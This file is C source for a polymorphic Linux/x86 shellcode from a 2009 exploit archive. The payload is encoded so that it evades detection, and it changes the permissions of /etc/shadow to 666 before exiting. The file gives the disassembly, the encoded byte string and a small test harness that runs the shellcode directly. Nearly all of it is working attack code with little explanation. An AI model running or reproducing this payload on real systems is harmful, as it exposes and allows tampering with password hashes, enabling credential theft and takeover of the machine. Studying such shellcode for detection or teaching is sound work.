58 lines
No EOL
1.4 KiB
C
58 lines
No EOL
1.4 KiB
C
/*
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Title : Linux/x86 - Shellcode Polymorphic chmod("/etc/shadow",666) & exit() - 54 bytes
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Encode : _ADD
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Author : Jonathan Salwan
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Mail : submit [!] shell-storm.org
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! Database of shellcodes => http://www.shell-storm.org/shellcode/
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Informations _chmod() & _exit():
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================================
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%eax = 15
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%ebx = /etc/shadow
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%ecx = 666
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%eax = 1
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%ebx = 0
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Disassembly of section .text:
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08048054 <.text>:
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8048054: 51 push %ecx
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8048055: 66 b9 b6 01 mov $0x1b6,%cx
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8048059: 68 61 64 6f 77 push $0x776f6461
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804805e: 68 63 2f 73 68 push $0x68732f63
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8048063: 68 2f 2f 65 74 push $0x74652f2f
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8048068: 89 e3 mov %esp,%ebx
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804806a: 6a 0f push $0xf
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804806c: 58 pop %eax
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804806d: cd 80 int $0x80
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804806f: 40 inc %eax
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8048070: cd 80 int $0x80
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*/
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#include "stdio.h"
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char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x30\x80"
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"\x6c\x0e\xff\x23\x80\xe9\x01\x75"
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"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
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"\x74\x89\xdc\xd9\x24\x8b\x84\x87"
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"\x92\x9a\x8b\x86\x52\x96\x8b\x8b"
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"\x52\x52\x88\x97\xac\x06\x8d\x32"
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"\x7b\xf0\xa3\x63\xf0\xa3";
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int main()
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{
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printf("Length: %d\n",strlen(shellcode));
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(*(void(*)()) shellcode)();
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return 0;
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}
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// milw0rm.com [2009-06-22]
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